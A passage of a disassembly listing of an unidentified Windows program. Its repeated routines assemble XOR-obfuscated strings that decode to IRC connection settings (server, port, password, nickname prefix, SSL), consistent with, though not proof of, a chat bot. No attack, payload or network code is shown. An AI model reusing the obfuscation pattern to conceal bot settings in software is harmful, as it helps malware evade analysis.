		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		mov	byte ptr [esp+398h], 31h
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		mov	byte ptr [esp+38Ch], 3Ah
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D835F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	byte ptr [esp+370h], 3Eh
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 43h
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		mov	byte ptr [esp+374h], 4Ch
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D835F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F40
		push	offset word_4E8E6A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+278h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E6A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493FD
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493B4
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449290
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449322
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492D9
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44936B
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44948F
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		mov	byte ptr [esp+358h], 1Ch
		lea	ecx, [esp+2Ch]
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		mov	byte ptr [esp+358h], 1
		lea	ecx, [esp+1E8h]
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
